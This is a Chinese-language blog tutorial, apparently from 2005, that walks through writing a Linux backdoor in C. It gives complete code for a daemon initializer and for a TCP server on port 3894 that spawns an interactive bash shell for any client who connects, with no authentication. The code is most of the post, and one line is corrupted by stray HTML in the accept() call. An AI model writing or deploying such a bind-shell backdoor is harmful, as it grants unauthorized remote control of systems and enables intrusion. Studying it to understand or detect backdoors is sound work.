转载请保留原作者信息,谢谢。
要求的专业知识:
一: 精通OSI参考模型,精通网络五层:物理层,数据链路层,网络层,传输层,应用层。
精通每一层的协议,数据报格式。精通网络拓扑结构,第一层,第二层,第三层的网
络互联,数据的转发和路由等。
二: 精通C语言程序设计,UNIX/LINUX程序设计,网络程序设计。熟悉UNIX/LINUX系
统操作,熟悉著名服务的基本配置,特性及使用的端口号。熟悉经典网络命令的使用,
如:netstat,ping,traceroute,netcat,arp等。
三: 精通标准SQL语言,熟悉流行的数据库使用,如:Oracle,Mysql等。掌握数据库与
WEB语言的结合使用。
好久没有写了,今天写一个后门吧。
后门程序自然是设计成服务器了。在linux里,我把它设计成daemon。
一个init_daemon函数是必不可少的。下面是一个完美的init_daemon函数。
1:生成子进程,脱离终端
2:成为会话组长
3:生成新的进程,防止进程再打开终端
4:关闭文件描述符
5:释放当前工作目录
6:重建文件掩码
1 /*
2 * writed by kf_701
3 * 2005-3-8
4 * email:kf_701@21cn.com
5 */
6
7 #include<unistd.h>
8 #include<sys/types.h>
9 #include<sys/stat.h>
10 #include<sys/param.h>
11 #include<fcntl.h>
12 #include<signal.h>
13
14 #define MAXFD 64
15
16 void init_daemon(void)
17 {
18 pid_t pid;
19 int i;
20
21 if(pid = fork()) /*exit terminal*/
22 exit(0);
23 else if(pid<0)
24 exit(1);
25
26 setsid(); /*become session leader*/
27
28 /* when session leader terminate,all
29 process of session will receive SIGHUP */
30 if(signal(SIGHUP,SIG_IGN) == SIG_ERR)
31 exit(1);
32
33 if(pid=fork()) /*prevent daemon opening terminal*/
34 exit(0);
35 else if(pid<0)
36 exit(1);
37
38 for(i=0;i<MAXFD;++i) /*close fds opened by parent*/
39 {
40 close(i);
41 }
42
43 chdir("/"); /*leave working dir*/
44
45 umask(0); /*create file mask*/
46
47 return;
48 }
服务程序的设计用基本的多进程方式。即为每一个连接生成一个子进程。
处理SIGCHLD信号是重要的,只能用waitpid,而不能用wait。因为有可能在
执行信号处理程序的时候,又产生了信号,产生这个信号的子进程便成了僵尸进程。
整个程序只是一个服务器程序设计的模板程序吧。只是调用了一个shell。几天
前我看到一段代码,和这个代码差不多,不过是windows里的,它调用CMD。
1 /* author : kf_701
2 * mtime : 2005
3 * email : kf_701@21cn.com
4 * address : hefei
5 * school : ahau.edu.cn
6 */
7 #include<stdio.h>
8 #include<sys/socket.h>
9 #include<netinet/in.h>
10 #include<signal.h>
11 #include<netdb.h>
12 #include<unistd.h>
13 #include<errno.h>
14 #include<sys/wait.h>
15 #include<sys/types.h>
16
17 #define BACKBLOK 5
18 #define SERVER_PORT 3894
19
20 void init_daemon(void);
21
22 static void sig_child_exit(int sig){
23 int stat;
24 while(waitpid(-1,&stat,WNOHANG)>0 );
25 return;
26 }
27
28 int main(int argc,char **argv)
29 {
30 init_daemon();
31
32 if(signal(SIGCHLD,sig_child_exit) == SIG_ERR){
33 /*perror("signal error");*/
34 exit(1);
35 }
36
37 pid_t pid;
38 int sockfd,new_fd;
39 struct sockaddr_in sa;
40 char hello[]="Welcome to kf_701 back door !\n";
41
42 sockfd = socket(AF_INET,SOCK_STREAM,0);
43 if(sockfd == -1){
44 /* perror("Create socket Error"); */
45 exit(1);
46 }
47
48 bzero(&sa,sizeof(struct sockaddr));
49 sa.sin_family = AF_INET;
50 sa.sin_port = htons(SERVER_PORT);
51 sa.sin_addr.s_addr = htonl(INADDR_ANY);
52
53 if(bind(sockfd,(struct sockaddr *)&sa,sizeof(struct sockaddr)) == -1){
54 /*perror("Bind Error");*/
55 exit(1);
56 }
57
58 if(listen(sockfd,BACKBLOK) == -1){
59 /*perror("Listen Error");*/
60 exit(1);
61 }
62
63 while(1)
64 {
65 new_fd = aclearcase/" target="_blank" >ccept(sockfd,NULL,NULL);
66 if(new_fd == -1){
67 /*perror("Accept Error");*/
68 continue;
69 }
70
71 if((pid = fork())<0){
72 /*perror("fork error");*/
73 continue;
74 }else if(pid == 0)
75 {
76 close(sockfd);
77
78 if(write(new_fd,hello,sizeof(hello)) == -1){
79 /*perror("write error");*/
80 continue;
81 }
82
83 int i;
84 for(i=0;i<3;i++)
85 {
86 dup2(new_fd,i);
87 }
88 close(new_fd);
89 execl("/bin/bash","bash","-i",(char *)0);
90 break;
91 }
92 close(new_fd);
93 }
94 }
夜很深了,我只能写这么多了。希望你能和我一起努力。
其它的文章都发在我的blog里面:
http://blog.chinaunix.net/index.php?blogId=3063
不要相信态度,尊重技术,不要为装模作样的人浪费时间!
*****待续******